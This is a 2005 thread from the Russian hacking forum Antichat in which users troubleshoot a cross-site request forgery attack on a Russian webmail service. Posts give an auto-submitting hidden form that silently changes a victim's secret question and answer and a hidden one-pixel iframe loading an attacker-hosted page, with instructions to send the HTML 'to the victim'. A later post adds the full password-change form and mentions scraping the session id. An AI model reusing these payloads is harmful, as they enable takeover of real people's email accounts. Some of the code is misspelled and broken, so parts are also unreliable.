HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

newmаil
  #1  
Старый 01.04.2005, 18:11
chip
Познающий
Регистрация: 05.03.2005
Сообщений: 89
С нами: 11148451

Репутация: 3
По умолчанию newmаil

Вот, правильно списал? Только вот не работает.. Отправлял html`om и не работает =( может ошибка где?

[1]
<form method="post" action="http://www4.сервант.ru/users/chpass.dhtml" name="chpass">
<<input tupe="hidden" name="cp_msg" value="1">
<input tupe"hidden" name="__post" vbalue="1">
<input tupe"hidden" name="cp_quest" vbalue="LOX?">
<input tupe"hidden" name="cp_answ" vbalue="YES">
<input tupe"hidden" name="Сохранить" vbalue="Save">
</form>
<script>
document.chpass.submit();
</script>

[2]
<iframe src="http://www.chip.narod.ru/popa.htm" width="1" height="1"
style="overflow;hidden;background-color;black;border;none;" framebordar="0"></iframe>
 
Ответить с цитированием

  #2  
Старый 01.04.2005, 18:26
rsha1988
Участник форума
Регистрация: 03.01.2005
Сообщений: 270
С нами: 11237205

Репутация: 6
По умолчанию

У меня тоже не работает(
Он чето не то написал!
 
Ответить с цитированием

  #3  
Старый 01.04.2005, 18:28
rsha1988
Участник форума
Регистрация: 03.01.2005
Сообщений: 270
С нами: 11237205

Репутация: 6
По умолчанию

Можно сделать так:
<iframe src="http://www.fuc-321.narod.ru/fuck.htm" width="11" height="11"
style="overflow:hidden;background-color:blank;border:none;" frameborder="0"></iframe>
lololo
- этот код сохраняй в html документе и посылай его жертве, ответ на секретный вопросс будит : ta
 
Ответить с цитированием

  #4  
Старый 01.04.2005, 19:24
chip
Познающий
Регистрация: 05.03.2005
Сообщений: 89
С нами: 11148451

Репутация: 3
По умолчанию

Почему "ta"? Ведь я сам задаю в первом коде? Непонял малек. может дырку зашили просто?
 
Ответить с цитированием

  #5  
Старый 02.04.2005, 11:20
rsha1988
Участник форума
Регистрация: 03.01.2005
Сообщений: 270
С нами: 11237205

Репутация: 6
По умолчанию

Цитата:
Сообщение от chip  
Почему "ta"? Ведь я сам задаю в первом коде? Непонял малек. может дырку зашили просто?
Потому что 1 код находиться здесь: http://www.fuc-321.narod.ru/fuck.htm
Тпам вопросс: tata?
и ответ: ta
 
Ответить с цитированием

  #6  
Старый 01.04.2005, 19:26
chip
Познающий
Регистрация: 05.03.2005
Сообщений: 89
С нами: 11148451

Репутация: 3
По умолчанию

И это у тебя работало? Откуда "ta" взялось?
Цитата:
Можно сделать так:
<iframe src="http://www.fuc-321.narod.ru/fuck.htm" width="11" height="11"
style="overflow:hidden;background-color:blank;border:none;" frameborder="0"></iframe>
lololo
- этот код сохраняй в html документе и посылай его жертве, ответ на секретный вопросс будит : ta
 
Ответить с цитированием

  #7  
Старый 01.04.2005, 19:47
Майор
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
С нами: 11338946

Репутация: 300


По умолчанию

форма такая :
Код:
<FORM ACTION="http://www4.hotmail.ru/users/chpass.dhtml?" METHOD="POST">

<input type="hidden" name="session_id" value="QsaA1RKVEa8jAGPpgbw02i1K4skiTnLb">
<input type="hidden" name="cp_msg" value="1">
<input type="hidden" name="__post" value="1">

<input type="password" name="cp_passwd" value="" maxlength="16" size="17">



<input type="password" name="cp_newpass" value="" maxlength="16" size="17">
<input type="password" name="cp_newpass2" value="" maxlength="16" size="17">

<input type="submit" value="Внести изменения">



<input type="text" name="cp_quest" maxlength="40" size="33" value="vopros">
<input type="text" name="cp_answ"  maxlength="24" size="25" value="otvet">
<input type="submit" value="Внести изменения" >

</FORM>
Причём все параметры обязательны, ктому же в форме пристутствует id сесии => надо писать скрипт например на php, который его вырезает из referer
 
Ответить с цитированием

  #8  
Старый 02.04.2005, 11:53
chip
Познающий
Регистрация: 05.03.2005
Сообщений: 89
С нами: 11148451

Репутация: 3
По умолчанию

А, теперь понял. Я не обратил внимания ны ссылку.
 
Ответить с цитированием

  #9  
Старый 02.04.2005, 12:15
JazzzSummerMan
Постоянный
Регистрация: 07.04.2004
Сообщений: 387
С нами: 11627066

Репутация: 42
По умолчанию

Майор кто тебе сказал что все параметры обязательны, ты сам проверял? Сессия не нужна
 
Ответить с цитированием

  #10  
Старый 02.04.2005, 17:56
Майор
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
С нами: 11338946

Репутация: 300


По умолчанию

Цитата:
Сообщение от JazzzSummerMan  
Майор кто тебе сказал что все параметры обязательны, ты сам проверял? Сессия не нужна
Да, нужна!
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...